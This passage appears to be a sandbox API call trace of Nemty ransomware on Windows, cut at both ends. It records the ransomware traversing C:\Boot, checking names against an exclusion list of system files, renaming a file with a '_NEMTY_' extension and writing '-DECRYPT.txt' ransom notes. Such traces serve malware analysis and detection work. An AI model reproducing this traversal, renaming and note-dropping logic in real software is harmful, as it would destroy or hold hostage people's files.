(in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.563] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.564] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.573] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.574] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.583] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.583] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.593] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.593] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.600] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.600] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.600] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.600] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.606] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.606] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0043.606] CloseHandle (hObject=0xffffffff) returned 0 [0043.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0043.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0043.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0043.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0043.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0043.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0043.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0043.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0043.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0043.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0043.607] MoveFileW (lpExistingFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), lpNewFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui._nemty_kgobjgd_")) returned 0 [0043.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0043.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0043.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0043.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0043.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0043.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0043.607] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd9da510, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcd9da510, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcd9da510, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0043.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0043.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0043.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0043.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0043.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0043.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0043.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0043.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0043.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0043.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0043.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0043.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0043.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0043.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0043.607] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0043.608] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0043.608] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0043.608] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0043.608] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0043.608] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0043.608] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0043.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0043.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0043.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0043.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0043.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0043.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0043.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0043.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0043.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0043.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0043.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0043.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0043.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0043.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0043.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0043.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9edf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0043.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0043.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0043.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0043.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0043.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.609] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd9da510, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcd9da510, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcd9da510, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0043.609] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0043.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0043.609] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0043.609] lstrcmpiW (lpString1="de-DE", lpString2=".") returned 1 [0043.609] lstrcmpiW (lpString1="de-DE", lpString2="..") returned 1 [0043.609] lstrcmpiW (lpString1="de-DE", lpString2="...") returned 1 [0043.609] lstrcmpiW (lpString1="de-DE", lpString2="windows") returned -1 [0043.609] lstrcmpiW (lpString1="de-DE", lpString2="$RECYCLE.BIN") returned 1 [0043.609] lstrcmpiW (lpString1="de-DE", lpString2="rsa") returned -1 [0043.609] lstrcmpiW (lpString1="de-DE", lpString2="NTDETECT.COM") returned -1 [0043.609] lstrcmpiW (lpString1="de-DE", lpString2="ntldr") returned -1 [0043.609] lstrcmpiW (lpString1="de-DE", lpString2="MSDOS.SYS") returned -1 [0043.609] lstrcmpiW (lpString1="de-DE", lpString2="IO.SYS") returned -1 [0043.609] lstrcmpiW (lpString1="de-DE", lpString2="boot.ini") returned 1 [0043.609] lstrcmpiW (lpString1="de-DE", lpString2="boot.ini") returned 1 [0043.609] lstrcmpiW (lpString1="de-DE", lpString2="AUTOEXEC.BAT") returned 1 [0043.609] lstrcmpiW (lpString1="de-DE", lpString2="ntuser.dat") returned -1 [0043.609] lstrcmpiW (lpString1="de-DE", lpString2="desktop.ini") returned -1 [0043.609] lstrcmpiW (lpString1="de-DE", lpString2="CONFIG.SYS") returned 1 [0043.609] lstrcmpiW (lpString1="de-DE", lpString2="RECYCLER") returned -1 [0043.609] lstrcmpiW (lpString1="de-DE", lpString2="BOOTSECT.BAK") returned 1 [0043.609] lstrcmpiW (lpString1="de-DE", lpString2="bootmgr") returned 1 [0043.609] lstrcmpiW (lpString1="de-DE", lpString2="programdata") returned -1 [0043.609] lstrcmpiW (lpString1="de-DE", lpString2="appdata") returned 1 [0043.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="de-DE", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0043.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="de-DE", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="de-DE", lpUsedDefaultChar=0x0) returned 5 [0043.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="de-DE", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0043.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="de-DE", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="de-DE", lpUsedDefaultChar=0x0) returned 5 [0043.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0043.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0043.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0043.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0043.610] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0043.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.610] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0043.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0043.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0043.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0043.610] CreateFileW (lpFileName="C:\\Boot\\de-DE\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\de-de\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0043.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.610] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.610] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0043.611] CloseHandle (hObject=0x3c0) returned 1 [0043.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0043.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0043.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0043.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0043.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0043.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0043.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0043.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0043.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0043.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0043.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0043.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0043.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0043.612] CreateFileW (lpFileName="C:\\Boot\\de-DE\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\de-de\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0043.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.613] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.613] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0043.614] CloseHandle (hObject=0x3c0) returned 1 [0043.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0043.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0043.614] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcdb0b010, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcdb0b010, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0043.614] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0043.614] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcdb0b010, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcdb0b010, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.614] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0043.614] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0043.614] FindNextFileW (in: 